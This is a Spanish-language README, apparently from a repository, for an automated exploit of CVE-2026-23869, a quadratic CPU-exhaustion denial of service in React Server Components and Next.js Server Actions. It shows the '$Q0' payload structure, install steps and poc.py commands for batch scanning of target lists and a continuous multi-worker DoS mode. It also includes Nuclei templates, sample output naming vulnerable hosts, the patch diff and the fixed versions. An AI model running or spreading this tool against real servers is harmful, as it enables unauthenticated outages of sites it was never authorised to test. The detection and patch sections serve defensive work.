
Herramienta de explotación automatizada para CVE-2026-23869, una DoS remota en React Server Components. Incluye PoC, plantilla de Nuclei y scripts de escaneo para detección y explotación.
Denegación de Servicio Remota No Autenticada mediante el Protocolo Flight de React
Agotamiento Cuadrático de CPU en la Deserialización de Mapas de Server Components
Resumen • Cómo Funciona • Herramientas • Instalación • Uso • Nuclei • Solución • Aviso Legal
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-23869 |
| Alias | React2DoS |
| Puntuación CVSS | 7.5 (Alta) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Consumo de Recursos No Controlado) |
| Tipo | Denegación de Servicio Remota No Autenticada |
| Descubierto Por | Yohann Sillam (Imperva Threat Research) |
| Afectados | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Corregido | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Existe una vulnerabilidad crítica de Denegación de Servicio en la deserialización del protocolo Flight de React Server Components. Un atacante no autenticado puede enviar una única solicitud HTTP manipulada a cualquier endpoint de Server Action del App Router de Next.js, provocando un agotamiento cuadrático de CPU O(n²) que bloquea el servidor durante minutos.
consumed en la Deserialización de MapasEl protocolo Flight de React utiliza marcadores especiales para serializar tipos de datos. $Q representa un objeto Map. Cuando el servidor recibe un payload que contiene marcadores $Q0 auto-referenciados:
Payload: [ [1,1], [1,1], ...(n entradas válidas)..., "$Q0", "$Q0", ...(n referencias)... ]
Cada $Q0 activa un constructor new Map() que itera sobre todas las n entradas válidas. El constructor de Map lanza un error (porque las entradas son malformadas), pero el error crítico es: la marca consumed nunca se establece al fallar.
Esto significa que el siguiente $Q0 recalcula exactamente el mismo Map desde cero → creando una complejidad O(n²):
n entradas válidas × n referencias $Q0 = n² llamadas al constructor de Map
Ejemplo: 65.000 × 65.000 = 4.225.000.000 operaciones
Resultado: Una sola solicitud bloquea la CPU durante 5-10+ minutos
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Atacante │ ──────────────────────────────────────▶ │ Servidor Next.js│
│ │ Cabecera: Next-Action: <action_id> │ │
│ │ Cuerpo: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% BLOQUEADA │
└──────────┘ │ durante ~5-10 min│
└──────────────────┘
// ReactFlightReplyServer.js — ANTES del parche
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Falla pero no establece consumed = true
// El siguiente $Q0 recalcula desde cero
}
// ReactFlightReplyServer.js — DESPUÉS del parche (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Corrección: establecer la marca ANTES de la construcción
return new Map(data); // Evita el recálculo repetido
}
| Archivo | Descripción |
|---|---|
poc.py |
# Clonar el repositorio
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Instalar dependencia de Python
pip install requests
# Hacer ejecutables los scripts
chmod +x poc.py scan.sh extract-action-ids.sh
# Para el escaneo con plantillas Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Para el filtrado de objetivos vivos
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Solo proporciona la URL — la herramienta hace todo automáticamente:
python3 poc.py -u https://target.com
Qué sucede:
# Escanear una lista de dominios/IPs
python3 poc.py -L targets.txt
# Con salida de informe JSON
python3 poc.py -L targets.txt -o results.json
# Solo detección segura
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Explotación de un solo disparo
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# DoS continuo (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL URL del objetivo (objetivo único)
-L, --list FILE Archivo con URLs/IPs de objetivos (uno por línea)
-a, --action-id ID ID de Server Action (omitir extracción automática)
--detect Solo detección — segura, no destructiva (por defecto)
--single Explotación de un solo disparo tras la detección
--exploit DoS continuo tras la detección
--extract Solo extraer IDs de action
-l, --length N Entradas del payload (por defecto: 130000)
-w, --workers N Workers concurrentes (por defecto: 5)
-d, --delay SEC Retardo entre solicitudes (por defecto: 1.0)
-o, --output FILE Guardar informe JSON
-t, --threads N Objetivos concurrentes para escaneo de listas (por defecto: 3)
La sintaxis original del PoC sigue funcionando:
python3 poc.py <ACTION_ID> <URL>
# Objetivo único
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Múltiples objetivos
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Salida limpia (solo resultados vulnerables)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Nota: La marca
-itags doses obligatoria porque Nuclei excluye las plantillas DoS por defecto por seguridad.
Solicitud 1 (GET /) → Identificar Next.js (cabeceras + marcadores HTML)
Solicitud 2 (GET /) → Extraer IDs de Server Action de createServerReference()
Solicitud 3 (POST /) → Solicitud de tiempo base (payload benigno)
Solicitud 4 (POST /) → Sonda de explotación (250 válidas + 250 entradas $Q0)
└─ Si el tiempo de respuesta ≥ 3s → VULNERABLE
# Ejecuta httpx → filtra objetivos vivos → escaneo nuclei → resultados
./scan.sh
# O especificar archivos personalizados
./scan.sh targets1.txt targets2.txt
La herramienta utiliza detección basada en tiempos para identificar de forma segura servidores vulnerables:
Se confirma una detección cuando:
multipart/form-data anormalmente grandes que contengan marcadores $Q/CVE-2026-23869-Exploit/
├── README.md # Este archivo
├── poc.py # Herramienta PoC de explotación totalmente automática
├── CVE-2026-23869.yaml # Plantilla de detección Nuclei
├── scan.sh # Auto-escáner httpx + nuclei
└── extract-action-ids.sh # Extractor independiente de IDs de action
╔══════════════════════════════════════════════════╗
║ FASE 1 ▸ RECONOCIMIENTO ║
╚══════════════════════════════════════════════════╝
✓ Next.js detectado (Next.js)
✓ ID de compilación: abc123def456
✓ App Router: Server Actions detectados
╔══════════════════════════════════════════════════╗
║ FASE 2 ▸ EXTRACCIÓN DE ID DE ACTION ║
╚══════════════════════════════════════════════════╝
✓ Encontrados 3 ID(s) de Action:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ FASE 3 ▸ DETECCIÓN DE VULNERABILIDAD ║
╚══════════════════════════════════════════════════╝
[1/2] Base: 0.142s
[2/2] Sonda: 7.891s (55.6x la base)
██ VULNERABLE — CVE-2026-23869 CONFIRMADO ██
╔══════════════════════════════════════════════════════════════╗
║ RESULTADOS DEL ESCANEO POR LOTES ║
╚══════════════════════════════════════════════════════════════╝
Escaneados : 150 objetivos en 45.2s
Vulnerables : 3
Corregidos : 12
Omitidos : 135
🔴 OBJETIVOS VULNERABLES
─────────────────────────────────────────────────
# OBJETIVO SONDA PROPORCIÓN
1 vulnerable-app.com 7.89s 55.6x
2 staging.example.com 4.21s 28.1x
3 dev.testsite.org 12.33s 82.2x
⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de penetración autorizadas. El uso no autorizado de esta herramienta contra objetivos que no posees o para los que no tienes permiso explícito de prueba es ilegal y puede violar leyes de fraude informático (CFAA, CMA, etc.).
Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta. Obtén siempre la autorización escrita adecuada antes de probar cualquier sistema.
Si te resulta útil, considera darle una ⭐
| Herramienta de explotación totalmente automática con pipeline de 4 fases (Reconocimiento → Extracción → Detección → Explotación) |
CVE-2026-23869.yaml | Plantilla de detección Nuclei con orquestación basada en flujo |
scan.sh | Script envoltorio: filtrado de hosts vivos con httpx + escaneo con nuclei |
extract-action-ids.sh | Extractor independiente de IDs de Server Action |
| Métrica | Vulnerable | Corregido |
|---|
| Base (solicitud benigna) | ~0.1-0.5s | ~0.1-0.5s |
| Sonda (500 entradas) | 3-10+ segundos | ~0.1-0.5s |
| Proporción (Sonda/Base) | >5x | ~1x |
| Payload completo (130K entradas) | 5-10+ minutos | ~0.1-0.5s |
| Paquete | Vulnerable | Corregido |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |